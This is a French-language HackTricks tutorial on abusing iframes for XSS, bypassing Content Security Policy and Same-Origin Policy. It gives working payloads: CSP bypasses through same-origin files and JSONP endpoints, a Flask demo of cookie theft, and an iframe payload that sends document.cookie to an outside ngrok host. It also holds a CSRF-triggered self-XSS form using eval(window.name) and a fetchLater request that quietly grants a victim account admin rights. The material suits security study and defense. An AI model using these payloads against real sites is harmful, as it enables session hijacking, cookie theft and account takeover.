Iframes dans XSS, CSP et SOP

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Vérifiez les plans d'abonnement !
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.

Iframes dans XSS

Il existe 3 façons d'indiquer le contenu d'une page intégrée dans un iframe :

Via src indiquant une URL (l'URL peut être d'origine croisée ou de la même origine)
Via src indiquant le contenu en utilisant le protocole data:
Via srcdoc indiquant le contenu

Accès aux variables Parent & Child

html

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>

html

<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Si vous accédez au HTML précédent via un serveur http (comme python3 -m http.server), vous remarquerez que tous les scripts seront exécutés (car il n'y a pas de CSP pour l'en empêcher). le parent ne pourra pas accéder à la variable secret à l'intérieur de n'importe quel iframe et seuls les iframes if2 et if3 (qui sont considérés comme étant du même site) peuvent accéder au secret dans la fenêtre d'origine.
Notez comment if4 est considéré comme ayant une origine null.

Iframes avec CSP

tip

Veuillez noter comment dans les contournements suivants, la réponse à la page intégrée ne contient aucun en-tête CSP qui empêche l'exécution de JS.

La valeur self de script-src n'autorisera pas l'exécution du code JS utilisant le protocole data: ou l'attribut srcdoc.
Cependant, même la valeur none de la CSP permettra l'exécution des iframes qui mettent une URL (complète ou juste le chemin) dans l'attribut src.
Par conséquent, il est possible de contourner la CSP d'une page avec :

html

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Notez que le CSP précédent ne permet que l'exécution du script inline.
Cependant, seuls les scripts if1 et if2 vont être exécutés, mais seul if1 pourra accéder au secret parent.

Par conséquent, il est possible de contourner un CSP si vous pouvez télécharger un fichier JS sur le serveur et le charger via iframe même avec script-src 'none'. Cela peut potentiellement également être fait en abusant d'un point de terminaison JSONP de même site.

Vous pouvez tester cela avec le scénario suivant où un cookie est volé même avec script-src 'none'. Il suffit d'exécuter l'application et d'y accéder avec votre navigateur :

python

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Autres charges utiles trouvées dans la nature

html

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Le contenu d'un iframe peut être soumis à des restrictions supplémentaires grâce à l'attribut sandbox. Par défaut, cet attribut n'est pas appliqué, ce qui signifie qu'aucune restriction n'est en place.

Lorsqu'il est utilisé, l'attribut sandbox impose plusieurs limitations :

Le contenu est traité comme s'il provenait d'une source unique.
Toute tentative de soumettre des formulaires est bloquée.
L'exécution de scripts est interdite.
L'accès à certaines API est désactivé.
Il empêche les liens d'interagir avec d'autres contextes de navigation.
L'utilisation de plugins via <embed>, <object>, <applet>, ou des balises similaires est interdite.
La navigation du contexte de navigation de niveau supérieur du contenu par le contenu lui-même est empêchée.
Les fonctionnalités qui sont déclenchées automatiquement, comme la lecture vidéo ou le focus automatique des contrôles de formulaire, sont bloquées.

La valeur de l'attribut peut être laissée vide (sandbox="") pour appliquer toutes les restrictions mentionnées ci-dessus. Alternativement, elle peut être définie sur une liste de valeurs spécifiques séparées par des espaces qui exemptent l'iframe de certaines restrictions.

html

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes sans identifiants

Comme expliqué dans cet article, le drapeau credentialless dans un iframe est utilisé pour charger une page à l'intérieur d'un iframe sans envoyer d'identifiants dans la requête tout en maintenant la même politique d'origine (SOP) de la page chargée dans l'iframe.

Cela permet à l'iframe d'accéder à des informations sensibles d'un autre iframe dans la même SOP chargée dans la page parente :

javascript

window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);

Exemple d'exploitation : Self-XSS + CSRF

Dans cette attaque, l'attaquant prépare une page web malveillante avec 2 iframes :

Une iframe qui charge la page de la victime avec le drapeau credentialless avec un CSRF qui déclenche un XSS (Imaginez un Self-XSS dans le nom d'utilisateur de l'utilisateur) :

html

<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Une autre iframe qui a en fait l'utilisateur connecté (sans le drapeau credentialless).

Ensuite, depuis le XSS, il est possible d'accéder à l'autre iframe car elles ont la même SOP et de voler le cookie par exemple en exécutant :

javascript

alert(window.top[1].document.cookie);

fetchLater Attack

Comme indiqué dans cet article, l'API fetchLater permet de configurer une requête à exécuter plus tard (après un certain temps). Par conséquent, cela peut être abusé pour, par exemple, connecter une victime dans la session d'un attaquant (avec Self-XSS), définir une requête fetchLater (pour changer le mot de passe de l'utilisateur actuel par exemple) et se déconnecter de la session de l'attaquant. Ensuite, la victime se connecte dans sa propre session et la requête fetchLater sera exécutée, changeant le mot de passe de la victime pour celui défini par l'attaquant.

De cette manière, même si l'URL de la victime ne peut pas être chargée dans un iframe (en raison de CSP ou d'autres restrictions), l'attaquant peut toujours exécuter une requête dans la session de la victime.

javascript

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes dans SOP

Vérifiez les pages suivantes :

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

tip

Soutenir HackTricks

Vérifiez les plans d'abonnement !
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.